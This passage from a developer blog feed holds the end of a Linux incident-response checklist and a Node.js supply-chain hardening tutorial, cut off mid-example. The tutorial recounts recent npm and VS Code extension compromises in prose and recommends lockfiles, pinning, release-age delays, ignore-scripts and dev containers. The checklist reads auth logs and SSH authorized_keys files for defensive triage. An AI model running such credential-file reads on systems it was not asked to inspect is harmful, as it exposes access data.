☐ ps aux &lt;span class="nt"&gt;--sort&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;-%cpu | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;         &lt;span class="o"&gt;(&lt;/span&gt;find malicious processes&lt;span class="o"&gt;)&lt;/span&gt;
☐ ss &lt;span class="nt"&gt;-tulpn&lt;/span&gt;                              &lt;span class="o"&gt;(&lt;/span&gt;find unexpected listeners&lt;span class="o"&gt;)&lt;/span&gt;
☐ last &lt;span class="nt"&gt;-n&lt;/span&gt; 50 &lt;span class="nt"&gt;-a&lt;/span&gt;                          &lt;span class="o"&gt;(&lt;/span&gt;recent login &lt;span class="nb"&gt;history&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
☐ &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Accepted"&lt;/span&gt; /var/log/auth.log | &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-30&lt;/span&gt;  &lt;span class="o"&gt;(&lt;/span&gt;successful logins&lt;span class="o"&gt;)&lt;/span&gt;
☐ find / &lt;span class="nt"&gt;-mtime&lt;/span&gt; &lt;span class="nt"&gt;-1&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;recent file changes&lt;span class="o"&gt;)&lt;/span&gt;
☐ crontab &lt;span class="nt"&gt;-l&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;ls&lt;/span&gt; /etc/cron.d/          &lt;span class="o"&gt;(&lt;/span&gt;cron persistence&lt;span class="o"&gt;)&lt;/span&gt;
☐ &lt;span class="nb"&gt;cat&lt;/span&gt; ~/.ssh/authorized_keys             &lt;span class="o"&gt;(&lt;/span&gt;all &lt;span class="nb"&gt;users&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
☐ Isolate server &lt;span class="o"&gt;(&lt;/span&gt;update security group / iptables&lt;span class="o"&gt;)&lt;/span&gt;
☐ Notify your incident response team
────────────────────────────────────────────────────────────────────
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;This article reflects current best practices. The threat landscape evolves continuously — always verify CVEs, tooling, and log paths against your specific OS version and cloud provider documentation. MITRE ATT&amp;amp;CK version referenced: v14.&lt;/em&gt;&lt;/p&gt;




</description>
      <category>cybersecurity</category>
      <category>linux</category>
      <category>security</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Hardening Your Node.js App Against Supply Chain &amp; Remote Code Execution Attacks</title>
      <dc:creator>Olawale Afuye </dc:creator>
      <pubDate>Sat, 23 May 2026 14:19:02 +0000</pubDate>
      <link>https://forem.com/walosha/hardening-your-nodejs-app-against-supply-chain-remote-code-execution-attacks-2n2a</link>
      <guid>https://forem.com/walosha/hardening-your-nodejs-app-against-supply-chain-remote-code-execution-attacks-2n2a</guid>
      <description>&lt;p&gt;Supply chain attacks on the npm ecosystem have quietly become one of the most effective ways attackers compromise production systems. They don't break down your front door they hide inside a package you already trust.&lt;/p&gt;

&lt;p&gt;You've probably heard of incidents like &lt;strong&gt;&lt;code&gt;event-stream&lt;/code&gt;&lt;/strong&gt; (2018), &lt;strong&gt;&lt;code&gt;ua-parser-js&lt;/code&gt;&lt;/strong&gt; (2021), and the &lt;strong&gt;&lt;code&gt;XZ Utils&lt;/code&gt;&lt;/strong&gt; saga (2024). Each one followed the same playbook: gain access to a popular package, inject malicious code, and wait for millions of installs to do the rest.&lt;/p&gt;

&lt;p&gt;But 2025 and 2026 have made clear that the threat has evolved. This is no longer a series of isolated incidents it's a coordinated, industrialised campaign.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Threat Is Accelerating — Recent Events You Need to Know
&lt;/h2&gt;

&lt;p&gt;Before we get into defences, it's worth understanding exactly what we're up against right now.&lt;/p&gt;

&lt;h3&gt;
  
  
  September 2025: The Shai-Hulud Worm
&lt;/h3&gt;

&lt;p&gt;In September 2025, attackers launched a coordinated phishing campaign targeting npm maintainer accounts, ultimately compromising over 180 packages including well-trusted names like &lt;code&gt;chalk&lt;/code&gt; and &lt;code&gt;debug&lt;/code&gt;, which collectively have over a billion weekly downloads. The payload included a self-replicating worm called &lt;strong&gt;Shai-Hulud&lt;/strong&gt;, which didn't just steal credentials it used them to infect further packages, creating a cascading compromise unlike anything the ecosystem had seen before. The attack also silently diverted cryptocurrency transactions in affected applications.&lt;/p&gt;

&lt;h3&gt;
  
  
  August 2025: The &lt;code&gt;nx&lt;/code&gt; Package &amp;amp; AWS Account Takeover
&lt;/h3&gt;

&lt;p&gt;Threat actor &lt;strong&gt;UNC6426&lt;/strong&gt; exploited a vulnerable &lt;code&gt;pull_request_target&lt;/code&gt; workflow in the popular &lt;code&gt;nx&lt;/code&gt; build tooling package a Pwn Request attack to steal a &lt;code&gt;GITHUB_TOKEN&lt;/code&gt; and push trojanized versions containing a postinstall credential-stealer named &lt;code&gt;QUIETVAULT&lt;/code&gt;. One downstream victim went from a compromised npm install to full AWS admin access and data destruction in their S3 buckets within 72 hours.&lt;/p&gt;

&lt;h3&gt;
  
  
  March 2026: The Axios Compromise
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Axios&lt;/strong&gt; — with over 100 million weekly downloads and present as a transitive dependency in thousands of projects was hijacked via maintainer credential theft by a North Korean threat actor. A hidden dependency silently installed a remote access trojan across developer machines and CI/CD pipelines. Teams that had pinned Axios to a specific version in their lockfiles were protected. The ones relying on range operators weren't.&lt;/p&gt;

&lt;h3&gt;
  
  
  May 2026: The GitHub Breach, A New Attack Surface
&lt;/h3&gt;

&lt;p&gt;This is the incident everyone is talking about right now, and it marks a significant escalation in the supply chain threat model: &lt;strong&gt;the attack moved from packages to developer tooling&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;On &lt;strong&gt;May 18, 2026&lt;/strong&gt;, a compromised version of the &lt;a href="https://marketplace.visualstudio.com/items?itemName=nrwl.angular-console" rel="noopener noreferrer"&gt;Nx Console VS Code extension&lt;/a&gt; (v18.95.0) was published to the Visual Studio Marketplace. The malicious version live for as little as &lt;strong&gt;18 minutes&lt;/strong&gt;  was downloaded by thousands of developers with auto-update enabled. The payload was a multi-stage credential stealer that silently harvested GitHub tokens, npm publish tokens, AWS credentials, and AI coding assistant keys from any workspace the developer opened.&lt;/p&gt;

&lt;p&gt;One of those developers worked at GitHub.&lt;/p&gt;

&lt;p&gt;On &lt;strong&gt;May 20, 2026&lt;/strong&gt;, GitHub confirmed that approximately &lt;strong&gt;3,800 internal repositories were exfiltrated&lt;/strong&gt;. The threat group &lt;strong&gt;TeamPCP&lt;/strong&gt; (tracked by Google as UNC6780) claimed responsibility, listing the stolen repositories on underground forums with an asking price above $50,000. GitHub has stated there is no evidence of impact to customer repositories, but the investigation is ongoing.&lt;/p&gt;

&lt;p&gt;The attack chain is worth internalising: a stolen contributor GitHub token → a malicious orphan commit pushed to the Nx Console repo → a poisoned extension published to the official marketplace → a developer installs it with auto-update → credentials harvested silently → GitHub breached.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The extension was live for 18 minutes. That was enough.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;TeamPCP is the same group behind the September 2025 Shai-Hulud worm and the March 2026 Trivy compromise. On &lt;strong&gt;May 11, 2026&lt;/strong&gt;, they launched a coordinated campaign across npm and PyPI simultaneously the first attack to span both registries in a single operation compromising TanStack's GitHub Actions pipeline and publishing 84 malicious packages within six minutes. On May 12, they open-sourced Shai-Hulud's code on GitHub, spawning copycat activity that is actively ongoing.&lt;/p&gt;

&lt;p&gt;This is an organised, persistent, and increasingly sophisticated adversary.&lt;/p&gt;




&lt;h2&gt;
  
  
  What We're Defending Against
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Supply chain attacks&lt;/strong&gt; — a dependency you trust is compromised upstream&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Typosquatting&lt;/strong&gt; — someone publishes &lt;code&gt;lodahs&lt;/code&gt; or &lt;code&gt;axois&lt;/code&gt; hoping you mistype&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Malicious install scripts&lt;/strong&gt; — a &lt;code&gt;postinstall&lt;/code&gt; hook that exfiltrates your env vars or drops a shell (the primary vector in the &lt;code&gt;nx&lt;/code&gt; compromise)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dependency confusion attacks&lt;/strong&gt; — a public package matching the name of your private internal one&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Developer tooling attacks&lt;/strong&gt; — malicious IDE extensions, compromised CI/CD actions (the GitHub breach vector)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Remote Code Execution (RCE)&lt;/strong&gt; — your own code accepts untrusted input and hands it to &lt;code&gt;eval()&lt;/code&gt; or &lt;code&gt;child_process&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  1. Lock Files Are Not Optional
&lt;/h2&gt;

&lt;p&gt;The most basic supply chain protection is also the most ignored.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Always commit this — never .gitignore it&lt;/span&gt;
package-lock.json   &lt;span class="c"&gt;# npm&lt;/span&gt;
yarn.lock           &lt;span class="c"&gt;# yarn&lt;/span&gt;
pnpm-lock.yaml      &lt;span class="c"&gt;# pnpm&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A lock file pins the exact resolved version and integrity hash of every package in your tree. Without it, two developers running &lt;code&gt;npm install&lt;/code&gt; on the same &lt;code&gt;package.json&lt;/code&gt; can get different packages — and an attacker who compromises a patch version between those installs wins silently.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Axios and Shai-Hulud attacks hit hardest in teams that weren't using lockfiles.&lt;/strong&gt; Teams that had pinned versions had a window of protection measured in days; teams relying on semver ranges had a window of exposure measured in hours.&lt;/p&gt;

&lt;p&gt;In your CI/CD pipeline, &lt;strong&gt;replace &lt;code&gt;npm install&lt;/code&gt; with &lt;code&gt;npm ci&lt;/code&gt;&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# npm install — resolves versions, can drift&lt;/span&gt;
npm &lt;span class="nb"&gt;install&lt;/span&gt;

&lt;span class="c"&gt;# npm ci — installs exactly what's in the lockfile, fails if it drifts&lt;/span&gt;
npm ci
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;npm ci&lt;/code&gt; also deletes &lt;code&gt;node_modules&lt;/code&gt; first, ensuring a clean, reproducible install every time.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Pin Your Dependency Versions
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;^&lt;/code&gt; and &lt;code&gt;~&lt;/code&gt; range operators in &lt;code&gt;package.json&lt;/code&gt; are convenient in development — and dangerous in production.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;❌&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Accepts&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;any&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;compatible&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;minor/patch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;update&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;could&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;auto-install&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;compromised&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;version&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nl"&gt;"dependencies"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"express"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"^4.0.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"axios"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"~1.6.0"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;✅&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Exact&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;pins&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;you&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;control&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;every&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;update&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;explicitly&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nl"&gt;"dependencies"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"express"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"4.18.2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"axios"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1.6.8"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you're worried about missing security patches, that's what automated PRs (Renovate, Dependabot) are fo, you review the diff and merge deliberately.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. The 30-Day Update Delay Strategy
&lt;/h2&gt;

&lt;p&gt;One of the most underrated defences: &lt;strong&gt;don't install packages the moment they're published&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Most malicious versions get discovered by the community within days. The Axios March 2026 compromise was identified within hours. Shai-Hulud's initial wave was flagged within 48 hours. If you hold back updates by 30 days, you benefit from that collective scrutiny before the code ever runs in your environment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;With Renovate Bot&lt;/strong&gt;, configure a minimum release age in your &lt;code&gt;renovate.json&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"packageRules"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"matchDepTypes"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"dependencies"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"minimumReleaseAge"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"30 days"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"automerge"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"matchDepTypes"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"devDependencies"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"minimumReleaseAge"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"7 days"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Since July 2025, Dependabot natively supports minimum package age configuration as well  you no longer need Renovate exclusively for this.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;You can also document this as a team policy in your &lt;code&gt;package.json&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"config"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"update-policy"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"production deps held 30 days after release before adoption"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. Disable Automatic Install Scripts
&lt;/h2&gt;

&lt;p&gt;This is a quick win that blocks an entire class of attacks. The &lt;code&gt;nx&lt;/code&gt; package compromise worked precisely through a malicious &lt;code&gt;postinstall&lt;/code&gt; script code that runs automatically when anyone on your team does &lt;code&gt;npm install&lt;/code&gt;, exfiltrating environment variables and tokens before the developer ever sees a prompt.&lt;/p&gt;

&lt;p&gt;Add this to your project's &lt;code&gt;.npmrc&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="py"&gt;ignore-scripts&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This tells npm to skip all lifecycle scripts during install. The tradeoff is that some legitimate packages (like &lt;code&gt;husky&lt;/code&gt;, &lt;code&gt;node-sass&lt;/code&gt;, or native bindings) need scripts to work. For those, you whitelist explicitly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Run scripts only for packages you've reviewed and trust&lt;/span&gt;
npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--ignore-scripts&lt;/span&gt;
npx husky &lt;span class="nb"&gt;install&lt;/span&gt;  &lt;span class="c"&gt;# run manually after&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  5. Audit Your Dependencies Continuously
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;npm audit&lt;/code&gt;&lt;/strong&gt; is built in and free. Make it part of your workflow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Run locally&lt;/span&gt;
npm audit

&lt;span class="c"&gt;# Fail CI on high or critical vulnerabilities&lt;/span&gt;
npm audit &lt;span class="nt"&gt;--audit-level&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;high
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Add it as a pre-push hook with Husky:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx husky add .husky/pre-push &lt;span class="s2"&gt;"npm audit --audit-level=high"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For deeper intelligence, &lt;strong&gt;Socket.dev&lt;/strong&gt; is the tool most teams sleep on. It doesn't just check CVEs, it detects:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;New install scripts that didn't exist in previous versions&lt;/li&gt;
&lt;li&gt;Packages that suddenly start making network calls&lt;/li&gt;
&lt;li&gt;Maintainer account changes and suspicious publish patterns&lt;/li&gt;
&lt;li&gt;Typosquatting candidates&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Their GitHub App drops a comment on every PR that introduces a new dependency. Free for open source, extremely effective and exactly the kind of behavioural signal that would have flagged the Shai-Hulud packages before they ran.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Extend Your Supply Chain Thinking to IDE Extensions
&lt;/h2&gt;

&lt;p&gt;The GitHub breach has made this a first-class concern. Developer workstations are now a primary attack surface, not a trusted zone.&lt;/p&gt;

&lt;p&gt;The Nx Console compromise was live for &lt;strong&gt;18 minutes&lt;/strong&gt; on the official marketplace before being pulled. Auto-update delivered it silently. There was no warning, no prompt it just ran.&lt;/p&gt;

&lt;p&gt;Practical steps your team should take now:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Disable extension auto-updates&lt;/strong&gt; in VS Code settings. Go to &lt;code&gt;Settings → Extensions → Auto Update&lt;/code&gt; and turn it off, or set it to &lt;code&gt;onlyEnabledExtensions&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pin extension versions&lt;/strong&gt; in your &lt;code&gt;devcontainer.json&lt;/code&gt; so updates require a reviewed commit:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"customizations"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"vscode"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"extensions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="s2"&gt;"nrwl.angular-console@18.94.0"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Enforce an enterprise allowlist&lt;/strong&gt; via VS Code's &lt;code&gt;extensions.allowed&lt;/code&gt; setting in your organisation's policy, blocking anything not pre-approved.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Apply the same 30-day hold logic to extensions&lt;/strong&gt; that you apply to npm packages — don't rush to grab major version bumps.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These controls wouldn't just have protected against the GitHub breach. They are the standard that should have existed already.&lt;/p&gt;




&lt;h2&gt;
  
  
  7. Use Dev Containers to Isolate Your Development Environment
&lt;/h2&gt;

&lt;p&gt;Even if an extension, package, or script is malicious, the question is: what can it actually reach? On a developer's bare host machine, the answer is everything i.e SSH keys, cloud credentials, git tokens, &lt;code&gt;.env&lt;/code&gt; files, browser sessions, and more. That's exactly what the Nx Console payload harvested.&lt;/p&gt;

&lt;p&gt;Dev containers change that calculus. By running your entire development environment inside a Docker container, you create a hard boundary between your code and your host machine. The malicious code can only see what you've explicitly mounted into the container.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Core Idea
&lt;/h3&gt;

&lt;p&gt;A &lt;code&gt;.devcontainer/devcontainer.json&lt;/code&gt; at the root of your project defines a reproducible, isolated development environment that VS Code (and GitHub Codespaces) can launch automatically:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"my-app-dev"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"image"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mcr.microsoft.com/devcontainers/node:20-alpine"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"workspaceMount"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"source=${localWorkspaceFolder},target=/workspace,type=bind"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"workspaceFolder"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/workspace"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;

  &lt;/span&gt;&lt;span class="nl"&gt;"customizations"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"vscode"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"extensions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
